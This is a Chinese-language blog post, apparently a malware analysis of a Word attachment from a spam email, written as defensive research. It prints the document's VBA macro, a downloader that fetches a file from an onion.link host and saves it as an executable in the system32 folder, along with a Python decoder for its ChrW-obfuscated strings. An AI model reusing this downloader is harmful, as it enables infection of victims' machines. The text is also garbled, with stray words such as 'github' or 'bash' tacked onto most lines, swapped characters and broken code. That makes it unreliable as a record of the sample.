上周一(12月4号),朋友给我转发了一封垃圾邮件,邮件里面附带一个word文档,咱们俩都是搞信安,天然察觉一丝危险的气味,以前也没有分析过word附件,于是有了今天的分析。python
分析有风险,请在虚拟机上运行;且在分析以前要禁止word的宏自动运行git
能够看到邮件的正文内容,是由一张图片和一个附件组成,其中咱们要重点关注的就是。github
4.2 olevba 提取宏展现ubuntu
olevba -c xxx.doc
4.5 查看宏代码
能够看到这里存在一段vb编写的代码,从调用WinHttpReq能够猜出来,这一个word文档的做用是一个下载器windows
Sub Main Dim WinHttpReq As Object Set WinHttpReq = CreateObject("Microsoft.XMLHTTP") WinHttpReq.Open "GET", "http://ypg7rfjvfywj7jhp.onion.link/icon.jpg", False, "username", "password" WinHttpReq.send
以下图,使用tor浏览器访问对应的暗网连接,返回一个网页来讲明该暗网地址已经失效。浏览器
Dim first5 As String Dim second5 As String Dim last5 As String first5 = ChrW(65) & ChrW(68) & ChrW(79) & ChrW(68) & ChrW(66) & ChrW(46) & ChrW(83) & ChrW(116) & ChrW(114) & ChrW(101) second5 = ChrW(97) & ChrW(109) last5 = first5 + second5
其中重要的部分就是first5和second5中的ChrW,ChrW是将十进制的ascii值转换为ascii字符,于是能够用python来作一个转换。安全
first5 = "ChrW(65) & ChrW(68) & ChrW(79) & ChrW(68) & ChrW(66) & ChrW(46) & ChrW(83) & ChrW(116) & ChrW(114) & ChrW(101)" second5 = "ChrW(97) & ChrW(109)" def convert_vb2py(s): first_s = s.replace("ChrW","chr") second_s = first_s.replace("&","+") return second_s print eval(convert_vb2py(first5))+eval(convert_vb2py(second5))
最终咱们能够获得last5的值为ADODB.Stream,它是vb中一个对象,用来与文件系统操做bash
Step 3. 保存http://ypg7rfjvfywj7jhp.onion.link/icon.jpg 到本地文件ide
xyuhjnx = WinHttpReq.responseBody If WinHttpReq.Status = 200 Then Set oStream = CreateObject(last5) oStream.Open oStream.Type = Val("1FFF") oStream.Write WinHttpReq.responseBody Dim first6 As String Dim last6 As String first6 = ChrW(92) & ChrW(99) & ChrW(104) & ChrW(101) & ChrW(99) & ChrW(107) & ChrW(46) & ChrW(101) & ChrW(120) & ChrW(101) last6 = first6 oStream.SaveToFile Environ( "svchost.exe", Val("2FFF") oStream.Close End If End Sub
代码获取icon.jpg的内容,并建立一个Stream对象写入icon.jpg的内容,而后保存到svchost.exe所在的目录,也就是c:\windows\system32\目录下,Val("2FFF")的值为2,在adobe.stream的SaveToFile方法中,第二个参数表明覆盖原来的文件。网站